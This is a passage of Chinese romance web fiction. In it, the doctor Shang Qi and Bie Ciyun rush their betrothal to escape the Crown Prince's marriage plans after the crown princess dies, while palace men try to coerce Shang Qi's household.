尚柒又得别府的帖子,上门后别洵松亲自接待,比起考核那日态度和善了不少。 起先别洵松只话了些家常, 过问尚柒家里的情况, 这些事不说别景季都告诉别洵松, 就是苏怡然肯定也查的一清二楚, 别洵松不可能不知道。 但万事讲究个循序渐进,别洵松自认为是个含蓄的人,总不能尚柒一登门就过问人亲事,他还不是尚柒师长,没那么亲近。 如此聊了半晌, 别洵松才试探询问尚柒亲事。 “父母早逝, 家中又有弟妹要照顾, 原打算等弟弟妹妹略年长些,再谈亲事。” “只听闻家中弟妹年幼, 需要早早娶亲来照顾弟妹的,你为何反要弟妹年长些再成亲, 可是怕娶亲后, 弟妹受欺负?” “并非如此, 弟妹年幼, 本该是我的责任, 若是娶亲就将弟妹丢给对方,岂非是不负责任。”成亲不说叫对方享福, 但也不能叫对方吃苦。 别洵松闻言沉思了片刻,要他说,姑娘哥儿相夫教子本是天职,但要是换作他家哥儿, 又是舍不得人吃苦。 方才十几岁,哪里能照顾的了两个孩子,幸而尚柒的弟弟妹妹已经懂事了。 “你有这份心,实属难得。”尚柒若能知行合一,便是世上难得的君子,“我瞧你弟弟妹妹也已经懂事,也是时候考虑终身大事了。” “科举近在眼前,倒也无心亲事,等科举之后,若有幸得中,我再寻媒人。”尚柒推脱的有理有据,未曾叫别洵松起疑。 “成家立业,你能先想到立业,已经胜过长安许多儿郎,我身为长辈,也不瞒你,今日请你过来,正是有一桩喜事过问你的意思。”别洵松觉得火候到了。 “是别伯伯也打算替我做媒吗?”说到这个份上,尚柒再装听不懂就有些不识好歹了。 “不错,我名下只一个儿郎一个哥儿,哥儿出生时就体弱多病,请了不少大夫道长,方才养住。 先前道长批命说不能过早定亲,耽误了,时下想要给他寻一门好亲事,又只能捡旁人挑剩下的,我自是不愿意。 挑来选去没有合心意的,偏巧老天给面子,遇上了你,我就厚颜借着半师的身份,问问你可有意?” 别洵松这话说的并未一般世家人的傲气,可见是真心看上了尚柒。 “是别哥儿?” “正是,我听闻你去给他看过诊,也是见过面。”别洵松看中尚柒未必没有因为尚柒是大夫的缘故,他家哥儿身体不好,夫君若是个大夫,还是个医术高明的大夫,必然能时时照顾,他也能更安心。 “别哥儿自然是好的,只是我的身份——” “我作为此云的父亲都不介意,你小子介意什么,再一个,待到科举后,你定然是金榜有名,脱去商户的身份,也是般配的。” 大世家的哥儿不曾低嫁,因为都是费大力气培养出的,但别家还没够上大世家的门栏,他也不必要自家哥儿去攀什么门楣,选个人品好的才是最要紧。 “若别伯伯不在意门第,我自然是愿意的。” “愿意就好,愿意就好,我和夫人商议过,你若愿意,咱们就选个合适的日子先请媒人登门,三书六礼筹备起来也费时间,不如定在科举后登门如何?”别洵松自然是想早早定下亲事的,但眼看科举在即,不好耽误了尚柒科举。 “依别伯伯安排。”尘埃落定,尚柒也难得露出喜事,恨不能现在就去寻此云说说话,奈何不是时候。 “对了,你在西南可还有长辈,成亲乃是大事,若有长辈也要告知他们一二。” “在西南的确还有几位长辈,但早年父亲同几个兄弟闹的不愉快,早早分了家,祖父祖母走了之后,平日逢年过节也不来往,成亲的事不必过问他们。” 西南尚家指的是尚柒打拼出来的尚家,其余亲戚早年断亲后,就老死不相往来了,后头尚柒发迹,诸位叔伯也不是没有来套近乎的,但尚柒不是以德报怨的人,自打闹到官府后,这些所谓的亲戚就消停了。 别洵松听闻这话,大抵也明白尚柒的意思,亲戚有好有坏,他为官多年也不是全然迂腐,既已经分了家不再联系也是合理的。 尚柒科举后必然是要留在长安发展,回不回西南还是一回事,的确不必要考虑远在天边的外人。 “近来你且安心温书,不可懈怠。”别洵松叮嘱人,怕人年轻遇上喜事就不稳重。 尚柒应了,正午自然又被留下用饭,这回苏怡然不曾过来作陪。 别老太君病了,需要儿媳儿夫郞侍疾,家里三个儿郎的夫人夫郞都过来了,孙辈只有张青浣一人,念着身体不好只待了片刻又给打发回院子去了。 “此云的亲事可定下了?”别老太君躺在床上,人不大精神,但病的不算厉害。 “夫君近来遇上一位才子,我瞧着人也不错,就是门第差了许多,但人今年下场科举,看夫君的意思必然榜上有名,想着若是对方也有意,就定下了。” “那就好,门第差些不要紧,咱们别家屹立两百年靠的就是文名。” “娘说的是。” “若能定下,便早些去衙门过契书。” “我和夫君原打算等人科举后再请媒人上门,娘若想早些定下,等我回去和夫君商议商议。”苏怡然还以为老太君见自己身体不好,怕出什么变故看不到孙儿亲事。 “早些定下为好。”别老太君意味深长的重复。 “娘,可是出了什么事。” “唉,我昨日听你父亲说,太子妃这一胎不大好,几个有经验的稳婆都没把握母子平安,真要是临盆出事,以太子的情况必然是要保小的。” 生子历来都是鬼门关走一回,更不说太子妃这样尊贵的身份,伺候的人已经是天下间最好的,都不敢说能保住性命,说明情况已经不大妙了。 苏怡然能从老太君手里接过别家,自然不会是蠢人,经老太君一提点,立刻明白老太君担心的是什么。 “太子妃便是去了,太子总也要耽搁些时候再娶。”不说太子有多深情,但太子妃出身也不算差,太子装也要给老丈人装装样。 “以往也就罢了,太子真要是后继有人了,必然是看重刚出生的儿郎,刚出生的孩子年幼,没有母亲照拂,按宫里的情况一个不甚没了命,太子焉能罢休。” 这事最好的解决办法就是寻一个能信得过的新太子妃,抚养皇孙,太子党里,别家因为别泓是太子老师的缘故,一直得太子信赖。 太子妃真要是出事,空出来的妃位的确有可能落到此云头上,以别家和太子的关系,如何能够拒绝太子的提议? “娘想的周到,等夜里回去我就和夫君说说,早些定下亲事。”虽说太子妃不一定出事,但等人真出了事她们再想办法就来不及了。 “厉害我已经说明白了,你且放在心上。” 尚柒别此云尚且不知道太子还要横插一脚,白日尚柒没能见着人,便故技重施,夜里翻了别府的院墙,到了梧桐苑打算夜宿。 “你到我院子,已然驾轻就熟。”别此云等人进来放下窗子。 “你不也猜到今夜我会过来。”不然怎么会专门留个窗户,还把守夜的人调开。 “只是有备无患。”别此云瞧着尚柒毫不客气的坐在屋里的摇椅上,只道尚柒与他越来越不见客气,不过也好,说明他们的关系也越来越亲近。 “你父亲打算等我科举后,再叫我请媒人登门。” “想是不愿意打扰你科举,你这回到长安,身上的银两可还够用?”尚柒的产业在西南,虽在长安做了点买卖,但赚头没那么多。 真要成亲,聘礼都要花销成百上千贯,更不说婚礼。 “成亲虽花销甚多,但我手里还有些银钱,前两日织坊仓库囤积的羊毛衣卖了一批走,和谢十三折了钱,亲事够用了。”尚柒不是打肿脸充胖子的人,他近来替此云经营产业,也看过账目,此云每月进出的银两都是天文数字,真要不够,借此云一点,等到西南再还也不是不行。 “夏日卖羊毛衣?”卖自然是能卖,就是价钱必压了不少。 “压价卖的,眼下羊毛织的衣裳仅咱们一家,总要给这些商人一点甜头,叫他们把咱们的商品带去大历各地,等名声打开了,日后买卖咱们就能占据主要地位。” “你也不怕旁人偷学了去。”织毛线瞧着是手艺活,但天下手艺灵巧的娘子郎君甚多,上头的人只管给了钱,底下的人拆了买来的毛衣,总能摸索出路子。 “重要的不是织毛衣的办法,而是将羊毛捋顺捻成毛线的法子,羊毛迄今为止只能做毡毯,不就是因为粗糙不好清洗,不然也等不到我来变废为宝。” “有道理,但我要是你的竞争对手,必不会轻易放弃,织坊里的人手都会成为他们收买的对象,即便这些人对你忠心耿耿,也难保不会对他们的家人下手。” 旧时代的商业累计,必然都是血淋淋的,尤其是商人,能够做大做强的手里必不可能少了人命。 “所以我打算把这事扔给谢十三让他烦恼。”总不能生意是和谢十三做的,谢十三就躺着赚钱。 “扔给他,便没有烦恼了,有谢家做靠山,一般商人都不敢擅动,顶多其余眼红的世家会不安分。”但也不敢轻易招惹谢家。 “我正是打的这个主意,说来禁军那头也有好消息,有部分看好的军汉已经下定决心退出禁军跟我的人去西南做事。”这些天发生了很多事,他都没来得及给此云通信,今夜过来,无论是正事还是私事都有许多可以说,多半要通宵达旦。 不过大家都还年轻,能熬。《 》 60-70 第61章 夜半。 主院别洵松夫妇还未歇息, 白日苏怡然侍奉完老太君,回来后就与别洵松说了老太君的话,叫别洵松皱着眉心半晌不语。 “太子那边怕还没起这个心思。”别洵松这话不假, 到底太子妃还没走, 真要是人没了太子再考虑也不迟。 “太子若有这个心思, 怕已经暗示家里了。”要的就是他没起心思, 这样给此云定了亲,也不伤太子和别家的和气。 不然这头太子一提,他们转头给此云定了别的亲事,不是明摆着告诉太子他们别家看不上太子妃位吗? “算时间,太子妃临产也就这几日了, 明日我托词生病, 私下里去一趟尚府, 和尚柒商议尽快把亲事定下。”原想着不耽误人,哪成想又出了这么一档子事。 “你去容易兴师动众, 不如让景季去,也不叫日后太子发现。”官场做事, 就得谨小慎微, 哪怕做到别老爷子的官位, 也不见得说无法无天。 “也好。”别洵松说着又忍不住叹气, “我们别家对太子已经算尽心尽力了, 遇上这样的事依旧战战兢兢,若不是娘考虑的长远, 只怕咱们家哥儿就要跳进火坑里去。” 先不说太子能不能登位,单说这太子妃的位置就好做吗?此云又非是会讨好人的性子,去了东宫只怕被人吃的渣都不剩。 “自古君臣有别,太子是君, 咱们是臣,哪有讨价还价的道理。”幸好眼下还不到最绝望的时候,赶明儿将此云的婚事定下,太子也不能强抢人不是。 “也是生不逢时。”别洵松道了这么一句话,便不再言语。 翌日。 尚柒赶着坊门大开回府,正准备补觉,哪想门房说别景季来了。 常乐坊和宣阳坊不远,夜里马车也没地方停靠,尚柒自然是靠双腿走回来的,他才赶回来别景季就到了尚府,可见也是坊门一开就往尚府来。 明明昨日才口头说好了亲事,别景季又为何匆匆忙忙上门,总不能一夜之间还闹出什么变故? “请人进来。”尚柒打理了一下衣服,虽然是紧身衣,但白日走动也得穿的出去,不然容易被禁军抓去,别景季来的这样急,他也没时间换衣服。 不多时,别景季就匆忙过来,瞧见尚柒也不顾左言他,只把昨夜父亲遣人告诉他的话原原本本给尚柒说了。 “你和此云的亲事必须近日就定下,三书六礼来不及准备也不打紧,日后补办就是。”显然这事也将别景季打了个措手不及。 “我知道了,待会我就去请媒人登门提亲。”尚柒本还有几分困倦,听了别景季的消息一下就精神了。 有尚柒这句话,别景季放心大半,又匆匆交代了几句便赶回别府。 尚柒这儿,虽说提亲赶的匆忙,但礼数不可丢,药房里攒的名贵药材也都是拿的出手的贵重东西,库房也还有一些看诊娘子送的珍稀玩意,尚柒着人拿了册子,一一选出来。 媒人已经差人去请了,他自个儿抽空换了身更体面的衣裳,洗漱后,就准备往别府去。 一早上府里忙的热闹,尚南枝和尚乌桕起床后,本还想问问阿兄发生了何事,谁料连阿兄的影子都没见着。 “药房的珍贵药材阿兄搬空了大半,谁家送礼需要这么多药材?”尚乌桕在药房替阿兄善后,名贵药材多是千金难求,送一两样都足够贵重了。 “库房里的东西也取走了不少。” “莫不是阿兄也走了行贿的路子?”尚乌桕脑洞大开,给人送礼的事他没少见,但一般送厚礼的都是攀关系有事相求。 阿兄在长安老老实实做生意,如何需用厚礼攀关系了? “咱们家是商户,想攀关系还没有门路呢。”时下商户想要和世家搭关系,给这点东西人家才看不上,不献大半家产,门房都不带理你的。 “可阿兄有本事结交世家子弟呀,谢家的谢琅,别家的别景季,都是世家人,我瞧和阿兄关系都不错,真要有事相求,阿兄何不寻他们帮忙。” 尚南枝倒是有别的见解,瞧过册子,都取用的是一些珍宝布帛,布帛选的还是好布,不像是送礼行贿的,倒像是…… “阿姊,你怎么不吭声?” “无事,你也别多想,说不定是好事。” “最好是好事。”尚乌桕不是小气的人,礼县家里的好东西也不少,但长安就这点家底,肯定要节约着用。 “二小姐,三公子,门外来了人说是要请东家上门看诊,我都说东家不在家,他们还是不肯走,已经闯进来在大厅等着了。”门房跌跌撞撞的进屋,东家才带着媒人离开没多久,就出了这一档子事,家里还能主事的只剩两个小的。 “说是哪家人了吗?”过来尚府看诊的,没见过嚣张跋扈的,求人看病还这个态度,也不怕得罪了大夫暗中使坏。 “没说,不过我瞧着像是宫里的。”门房是长安本地人,也在大户人家做过事,有几分见识。 “宫里?”尚南枝放下手里的册子,示意门房在前面带路,她们尚家什么时候能入这等贵人的眼了? 等人到了前厅,客人已经不请自来的坐在大堂。 “你就是府里主事的?”说话的男子虽穿着寻常儿郎的衣裳,但言辞间少不了一股阴媚气,难怪门房说瞧着像是宫里的,原是个公公。 “正是,不知客人过来是有什么要事?”尚南枝打量几人,除开坐下的公公,其余都是练家子,多半是宫里当差的侍卫。 “自然是有要事的,听闻你们尚府的东家是个看妇科厉害的大夫,我家夫人即将临盆,想请尚大夫登门看诊。” “客人说笑了,我阿兄虽会点医术,但不曾接过生,请我阿兄过去看诊岂非是病急乱投医。” “小丫头,是不是病急乱投医你说了不算,现在快请人将你兄长请回来才是,不然耽误了我家夫人性命,万年县的牢房可够你家住。”来人说话越发的不客气,但没表明身份。 “客人有所不知,阿兄这会正请了媒人提亲,一时半刻回不来。”尚南枝对此人背后的身份有几个猜测,但只要人没露底她就假装不知道对方来头多大。 “提亲?就是成亲也得给我请回来,不然我现在就拿了你们几个回去复命。” “客人这般厉害,如何不亲自去寻我阿兄回来?也免得叫我阿兄再中途跑一趟耽误了时间。”尚南枝强撑的跟人对话,只见对面的公公半眯着眼睛,似乎在思考尚南枝的话是否有道理。 “说得好,那就说说你阿兄在哪家提亲?小门小户我可不认识路。” “客人在长安定然听说过,我阿兄去的是别家。” 说到别家,果不其然来人就变了脸色。 “哪个别家?” “自然是家主在朝中任职太子太傅的别家,我阿兄与别府公子情投意合,已然互许终身,前不久又得别家长辈首肯,便合了日子请媒人登门说亲。” “小丫头,你可知骗人是要人头落地的,你们尚家一个商户竟然敢攀扯别家,也不怕风大闪了舌头。” “我们尚家自然是商户,不过客人有所不知,我阿兄前不久替安和公主看诊,得了安和公主恩典,拿到了科举的资格,今年便会下场。 平日阿兄也得别家大少爷别景季指点,客人若是不信,登门别府一看便知。” 那公公盯着尚南枝,只见这小丫头不躲不闪,半点没有心虚。 若是假话,未免说的过于信誓旦旦,一个小小的大夫,竟然还牵扯上了别家和安和公主,人要是在家,就算背后真有这些人,他也只管拿了去东宫就是,偏人不在家,还说去别府提亲。 别家和太子关系一向好,若尚大夫当真是别老太爷看重的孙婿,太子也要给几分颜面,他真要是得罪了人,眼下没什么,日后定会被太子推出来当挡箭牌。 “今日是我的不是,饶了贵府好兴致,尚大夫不得空,也就罢了。”公公也是识趣的人,先不论真假,只当是真的离开,私下再寻人去别府看看就是。 要是真的,他即使离开,又没有表明身份,尚家想追究也没住寻人,要是假的,一个商户,他就能叫万年县收拾了。 “阿姊。”见人走了,尚乌桕冒出头,“这人什么意思?” 方才还气势汹汹的说要请阿兄过去看诊,结果这会又当什么事都没发生过。 “只怕是来找替罪羊的。”尚南枝也叹一句好险,幸亏这会阿兄不在家,不然被这伙人拿了去,谁知还有命在吗? “替罪羊?”尚乌桕吓的深吸了一口气,“阿兄又没得罪他们,如何要寻阿兄的麻烦。” “因为咱们在长安没根基,好拿捏。”长安名医这么多,既然人是宫里出来的,太医也不少,偏偏来寻一个在长安行医不久的大夫,不就是瞧他们好欺负? 那位贵人真要是出事,说不准还要算在阿兄头上,毕竟没背景的大夫砍了也就砍了。 尚乌桕气的不轻:“不成,长安不能再待了,等阿兄回来我给阿兄说咱们还是回西南好。” 尚南枝没搭话,她心知肚明,阿兄没有准备好是不会轻易离开的,更不说眼瞧着要求娶到别哥哥,哪会前功尽弃。 “对了,阿姊,你刚刚说阿兄去别府提亲的事是真的吗?”尚乌桕气过了也反应过来阿姊刚刚说了什么惊天大秘密,阿兄去了别府求亲,还要参加科举,一桩桩的都是大事,他怎么没听到风声。 尚南枝轻挑眉毛,话都到这儿再瞒也没什么意思,便道:“八九不离十。” 第62章 “怎么样?别府今日有人登门提亲吗?”吕公公没能寻来救太子妃的大夫, 这会受了太子的气,正是满肚子火没地儿撒。 要他说白日里真叫个小丫头给唬住了,竟轻信了一个商户能娶别家的公子, 哪怕这商户真因为安和公主得中科举, 也不过芝麻小官。 别家哪怕低嫁, 长安这么多小世家不选, 选一个连寒门都不是的商户,是脑子有病吗? “公公,今日别府的确有人上门提亲,听动静还蛮大的,左邻右舍的人都瞧见提亲的儿郎正是尚大夫。”前去探听消息的侍卫也吃惊, 原想着就算尚大夫真去别家提亲, 也只能过问别府的里的人。 没成想尚大夫登门提亲的动静这样大, 听闻光是提亲的彩礼都准备了好几车,很是给足了别家面子。 “竟是真的?”吕公公手里的佛珠几乎要拧碎, 别家竟然真的看上了一个商户。 “不错,我去打听的时候, 尚大夫已经进别府有一炷香了, 若是别家不愿意早将人赶出来了, 结果我在外等了一个时辰都不见人出来, 可见这亲事的确是别家默许的。” 侍卫也在东宫做事, 平日没少遇见别老大人和别大人,也不曾听闻别家近日有喜事。 “好一个尚家, 好一个尚柒,当真会算计,运道也这样好。”事到如今,吕公公也只能冷哼一声, 只道自己倒霉。 “公公,要不就将今日的事原本告诉太子,只要太子晓得这位尚大夫能治太子妃却没来,定会治罪。”侍卫晓得吕公公怕是不待见这位尚大夫,想了个昏招。 “糊涂,你没看见尚柒已经攀上别家,先不提尚柒根本没有接生的经验,哪怕真的能治,但人在太子面前说不能治,谁还能证明他真的能治?” 宫里太医都束手无策,一个民间大夫,给几个贵人看了诊,难道就觉得比过宫中太医不成。 更不说别家和太子关系紧密,太子岂会为了这点小事得罪别家。 “罢了,左右咱们没能表明身份,尚家也拿不住咱们的把柄,且放过他。” …… “阿兄你是不知道,阿姊好威风,将那不男不女的家伙说的哑口无言,一开始他到府里,实在嚣张,还说要将我们下万年县的大牢呢。” 尚柒回府后,就听得尚乌桕喋喋不休的说着南枝如何大战宫里的太监。 “辛苦你们了。”尚柒两天天一夜没休息,来回奔跑虽然疲惫,但还撑得住。 “不辛苦,都是阿姊出力,但阿兄,阿姊说你今日去别府提亲了?我后来问门房,门房也说你请了媒人去别府,这是什么时候的事,我怎么不知道。” “我还以为此云的兄长频频上门你该反应过来了才是。”尚柒说着解释了两句。 “我又不如阿姊聪明,阿兄你不说我如何知道。”尚乌桕嘀咕,“但看在别□□后是我嫂夫郞的份上,就原谅你隐瞒不报了。” 尚柒笑着敲了下尚乌桕的脑袋。 “阿兄,今日提亲可还顺利?”尚南枝瞧着尚乌桕终于停止说话,问起了正事。 “顺利,已经写好婚书了。”有婚书在,他和此云就是名副其实的未婚夫夫,有了这层干系,平日请人上门,出门游玩别家也不会拦着。 “顺利就好,今日出了这样大的事,偏巧阿兄你不在,如此看也是这段良缘保佑了阿兄平安。” “祸兮福所倚福兮祸所伏。”今日是谁登门尚柒心里一清二楚,没成想太子妃临盆还能找到他一个没接过生的大夫头上。 也没想到太子妃会这么快临盆,眼下还未见宫里传出什么消息,不过见东宫的太监都开始找替罪羊消火,可见情况危机。 亏得今日就将婚书定了,不然太子妃真要是没了,别家还寻不到机会定亲。 “阿兄,既然定了亲,别哥哥是不是可以登门来玩了?” “自然,不过近来长安可能有丧事,你别哥哥大抵不能高调出门。” “自打咱们来了长安,就没见几个太平时候,阿兄,我们什么时候回西南。”尚乌桕再不觉得长安好玩了,打白日一遭,叫人过日子提心吊胆的。 他未来也是要做大夫的,万一也遇上太子这样有权有势的人请他看病,没治好脑袋都保不住,在西南,好歹阿兄还能护住他。 “没那么快,怎么也要明年去了。”开春能走已经是很快的,“你若真觉得长安危险,我让冯风送你回去怎么样?” “才不要,我一个人回西南,虽有尚府的哥哥姐姐陪着,但阿兄阿姊都不在身边,我不安心,再说阿兄你都要成亲了,我怎么能这时候离开。” 不说成亲还有科举,老话常言说人生四大喜事,金榜题名时,洞房花烛夜,阿兄一口气占了两个,他作为弟弟不在身边可不成。 “好吧。” “阿兄今日也忙了一天,早些休息吧,近来不是还要温书科举?”尚南枝察觉兄长眼底的疲惫,贴心道。 “你们也早些去休息。”尚柒目送两个小的离开,又让人抬了热水来沐浴。 他自诩不是一步三算,却也是做事周全之人,就凭他和此云的亲事能这样顺利,就少不了私下谋划,可真遇上意外,就能将他的所有谋划毁于一旦。 老话说谋事在人成事在天,此言不假。 长安不是久留之地。 —————————— 翌日,宫里传来太子妃薨逝,灵堂还没备好,但各世家娘子郎君都已经做好前去吊唁的准备。 别此云趁府里主事的人都忙着为太子妃吊唁做准备,偷偷寻了机会溜出了府,这样的事和他一个没成亲的哥儿关系不大。 已经不是头一次到尚府了,尚府的下人也认得别此云,更不说昨日东家亲自去别家提亲,等成了亲,别此云就是府里另一个做主的人,底下伺候的个个都是人精,又怎么可能为难别此云。 一路没人通报,别此云就到了尚柒的书房,果不其然人已经醒了。 “还道你在休息。”两天一夜没休息,换作他睡到日上三竿也是可能的。 “昨夜睡的早,平日也都习惯这个点起来。”尚柒放下书,“府里怎么样?” “一早太子妃薨逝的消息传出,连重慈拖着病体都过问吊唁的事。” 昨日尚柒提亲,别洵松虽然不在家,但苏怡然是请了尚柒去见老太君的,也是过了老太君的眼。 “太子妃薨逝,孩子呢?” “自然是活着,不过听闻在母体拖得有些久,恐怕会有后遗症。”别此云并不想对此评价,虽然没明说,但母亲死了儿子活着,又不是产后大出血,多半是保小丢了大人的性命。 他早知太子性格,对于太子做出这个选择并不意外,毕竟太子缺一个继承人,若有个儿郎,能堵住不少其他党派的攻奸。 至于皇孙是好是歹,年纪还小也看不太出来,几年时间足够太子再努努力,说不得又能得一个儿郎,稳固他的位置。 “幸好我们早太子一步。”尚柒心有余悸,太子为了挡一些攻奸之言连结发妻子都能牺牲,可见其人心狠。 “是啊,多亏重慈凭借祖父三言两语就能想到这么多,不然我可就要诈死离开长安了。” “无论如何,我都会陪在你身边。”尚柒迟疑了片刻,还是伸手将人抱进怀里,他不是迟钝的人。 早先相处或许他还没想到别出去,但上次听风楼一叙,再看不出他的心思、此云的心思,还造什么反。 别此云被抱进一个草药香的怀抱,闭上了眼睛,他还以为尚柒怎么也要成亲后才能明白,没成想今日竟然这样主动。 “莫不是没定亲,没名没分你便不敢动作?”别此云在人怀里取笑。 “没名没分动手动脚,岂不是登徒浪子?”尚柒拍了拍人的后背,“先前说要与你成亲不过是权宜之计,但如今怕是要假戏真做。” “这世间,我若真想嫁人,你自然是排在榜首,假戏真做我也能弄假成真,难不成你以为你和我成亲,还能娶别人不成?” 他的身份注定了他要么终身不嫁,要么就选过了他眼的尚柒,他相信他在尚柒心里的地位也非比寻常,只是不见得是爱情,但日久天长,谁也说不准感情会不会变质,他有时间耗的起。 “原来你早就打算好了,的确,只要有你在,我很难喜欢上别人。”他们的灵魂在这世上独一无二,注定尚柒对别此云有所不同,真要娶别人,恐怕三个人都不会好过。 “你别接受的这么快,记得我先前说过的,我不喜欢成亲,自然也不喜欢生孩子。”别此云有些事能妥协,有些事却不想妥协,眼下就得说明白。 “你的身体本来也不适合生孩子,咱们不是也说要努力改变这个世界,皇位存不存在还不一定,何必去讨论一个薛定谔的继承人。” “当真?”别此云敢这么说,也是因为他信尚柒跟这里必须要传宗接代的古人不一样,但他又怕尚柒喜欢孩子。 “当真,你忘了我有弟弟妹妹,父母走后就是我一手带大的,小孩子虽然可爱,但更多的是烦人的时候,我不想再带孩子了。”尚柒是真心实意的叹气,南枝乌桕已经比一般的孩子要强了,他都难免心累,想着要把一个牙牙学语的婴儿带大,他就头疼。 别此云不语,只安心的呆着尚柒怀里,真好。 第63章 “阿兄, 我来的是不是不是时候?”尚乌桕站在书房门口,门是大打开的,平日阿兄在书房也不需要人伺候, 外头也就没人守着。 尚乌桕想避开都没机会, 不过平日守礼的阿兄竟然如此大胆, 抱着别哥哥! “咳, 没事,进来吧。”尚柒松开手,来的不是时候也没办法,话都出口了,他还能继续不成。 “别哥哥。”尚乌桕得了首肯, 就跟开心小狗似的跑到别此云跟前讨巧卖乖。 “小乌桕, 好久不见。”别此云半点没有被撞见亲昵的羞赫, 反而大方的弯腰和尚乌桕打招呼。 上次宴会一别,再没机会见面, 不过尚乌桕给别此云留下的印象很好,小小年纪临危不乱, 又有一颗济世救人的善心, 可见尚柒把孩子养的很好。 “是超级久没见, 别哥哥, 你不知道我可想你了, 但是阿兄一直没请你过府来玩,我都没机会见到你。” 尚乌桕撒娇卖萌的样子叫尚柒看的咧了咧嘴, 小孩平日不闹腾,但也不能说是个乖小孩,怎么到此云跟前就变了个样。 “是他的不是,日后我常来。”别此云说着还抬头瞧了一眼尚柒, 眉眼里尽是笑意。 尚柒无奈的看着两人说话,尤其是听到乌桕悄悄摸摸附到此云耳朵说话,就知道定然是在揭他的短,幸亏南枝这会不在,不然两个人一起揭短,他的那点黑历史一个都保不住。 虽说日后不见得能保住,但他和此云才互白了心意,还是少一点黑历史被对方知道为好。 于是,书房里,尚柒也不看书,只站在一旁看此云和乌桕说话,多数时候两人交谈的音量正常,少数时候乌桕一边低声嘀咕,一边用眼睛瞅着兄长,话落,就见此云平日不怎么有表情的脸上,露出不小的弧度。 两人一说起来,时间怎么都不够用,正午别此云顺理成章的留下用饭。 厨娘早知道今日有客人来访,还是别府公子,一早遣了厨房采买的丫头去坊里的菜市买些新奇食材。 在尚府几个月,厨娘已经会了不少菜色,正是大展身手的时候。 于是正午的饭桌菜色,可堪称琳琅满目。 “宋娘子定然是知道今日别哥哥上门,方才做了这样多好吃的,可惜阿姊不在,没有这份口福。”尚乌桕几乎要流口水,要说平日他想吃什么,吩咐宋娘子做就是,但他一个人肚子小,一口哪能吃许多,今日沾了别哥哥的光,可算是饱口福了。 “夜里再做就是,宋娘子今日兴致高昂,一顿饭可消耗不掉。”时下天大,饭菜不说过夜,只在外放一个下午基本味道就变了。 宣义坊和常乐坊不近,特意送饭过去,不如让南枝就在坊里解决,谢琅手里的厨师都是精心培训过的,就是做大锅饭味道也不差。 别此云满目含笑,受人欢迎本也是喜事。 …… “此云不在梧桐苑?”苏怡然本是请人去梧桐苑叫此云过来,他要吩咐人去太子妃丧礼上的礼仪,这些年此云多不在长安,这类宴会一般也没出面,她也便没教导过人这些规矩。 “琴砚说一早公子就离府了。”至于去哪儿琴砚没说,红酥也不敢擅自揣测。 但大家心知肚明,昨个儿尚大夫登门提亲,二人已经定下婚书,公子平日闭门不出,突然出门必然是去尚府了。 苏怡然叹了口气,他大约猜到自家哥儿对尚大夫有意,不想竟然还猜少了,眼下二人定了亲,此云登人府门也不算什么,只是这个节骨眼上出门,总归不好。 “此事叫梧桐苑的人都不许对外说,公子今日一直在府里。” “是,夫人。” 苏怡然心烦意乱的打发了下人,又撑着头在屋里假寐,太子这一难别家是逃过去了,眼下因为太子妃的事外人还不晓得他们别家选了个商户出身的儿郎做儿婿,但等太子妃丧事一发,总归是有人知道的。 尚柒的底子是好,但架不住科举还没考,依旧是商户,也不知长安到时候会有多少流言传出。 而东宫这会也不太平。 太子妃没了,留下太子第一个儿子,但相熟的太医都看过,因为在母体憋的久了,日后怕是个痴儿,眼下消息还没传开,太子也极力压住消息,左右孩子还小,外人不怎么看的出来,只当正常孩子养着。 “殿下,皇孙出生就没了母亲,眼下这个情况也不好经旁人的手,还请殿下早些寻个合适的人照顾皇孙才是。”东宫的幕僚比太子更无情,丝毫不惧太子满目红丝,大胆谏言。 “东宫之中,我娶了这么多娘子郎君,还寻不来一个合适的人照顾皇孙吗?”太子这话也非是对太子妃多深情,不过人头七未过,就商议另娶,叫太子妃娘家人知道,岂非要骂他负心薄幸。 “皇孙乃殿下嫡长子,如何能交给侧妃良娣抚养?”时下东宫只一个皇孙,真要给出去了,日后拿回来又是一场麻烦。 “那你们说,我该寻谁?”太子不耐烦的挥手。 “听闻太子恩师别老大人有一孙哥儿,时年十七,尚未婚配,最合适不过。”几位幕僚显然从太子妃没死前就已经开始做准备,不然昨日人刚走,今日谏言就寻到了合适的成亲人选,速度未免过于快了。 太子深吸了一口气,冷静思考,太子妃一走东宫的确需要一个主理人,侧妃良娣出身不够高,日后他荣登大统,她们是不够格做后宫之主的。 照规矩他必然再娶一位,奈何他跟几个大世家没什么交情,像是萧家还和他是死对头。 余下几家他也没得选,就眼下父皇和几个大世家间针锋相对,他若敢娶大世家的娘子郎君,怕是太子之位难保。 而他恩师正巧有个孙哥儿适龄,的确合他心意,待恩师过来他再与人商议。 “殿下,此事恐怕不妥。”吕公公上前说话。 “如何不妥?”太子自衬身份尊贵,天下间只有他不想娶的,没有他娶不到的。 “殿下有所不知,昨日有人登门别家提亲,正是给别老大人的孙哥儿说亲,听闻已经定下喜事。” “昨日?”这样巧?太子不由得皱眉。 “正是昨日,定亲的儿郎不过一介商户,也不知别大人看中他什么了。”吕公公的话自然是挑拨离间。 太子深色晦暗不明,只给幕僚道了一句先压下不提,就匆匆离开。 —————————— “好啊,我千寻万寻,没成想竟然就在眼皮子底下,有钱竟然是别家的公子。”谢琅摇了摇扇子,坐在尚柒和别此云对面,谴责二人。 “我先前不是给你提醒让你去查了吗?”尚柒耸肩,表示谢琅办事效率太低,他亲事都定下了,谢琅还没把人身份查出来。 “有事耽搁了,哪想转头的功夫你们定亲的消息都传到我耳朵里。”不怪谢琅办事速度不行,还是尚柒动作太快了些。 “那该是你的问题,再倒打一耙我可不客气了。”第一次没带帷帽和谢琅见面,别此云半分没给人面子,依旧冷言冷语。 “有钱,你生的这样好看,合该多笑笑,咱们也是老相识了,至今才算见面,你还不愿意给我一个笑脸。”谢琅捂住胸口,指责有钱不顾情面。 “一笑千金,不知谢十三你愿意出几个?” “一个都不愿意。”谢琅恢复正常,“你如今已经和尚柒定亲,哪能对我露笑,也不怕尚柒吃醋。” 当事人尚柒但笑不语,显然不打算参与二人口舌之争,不过本也只是老友调侃,尚未升级到针锋相对的地步。 “不过我还以为你们要等尚柒科举后再定亲,时下尚柒还是个商户,只怕后宅又要风言风语一段时日了。”谢琅世家长大,自然晓得此举会给别此云带来什么后果。 常言良言一句三冬暖,恶语伤人六月寒,多少娘子郎君被恶言逼得活不下去,可见威力。 “我不出门,也不赴宴,听不到她们背后编排。”别说尚柒是个商户,就是尚柒真的中举,依二人之间门第差距,也少不了被后宅娘子郎君茶余饭后闲谈。 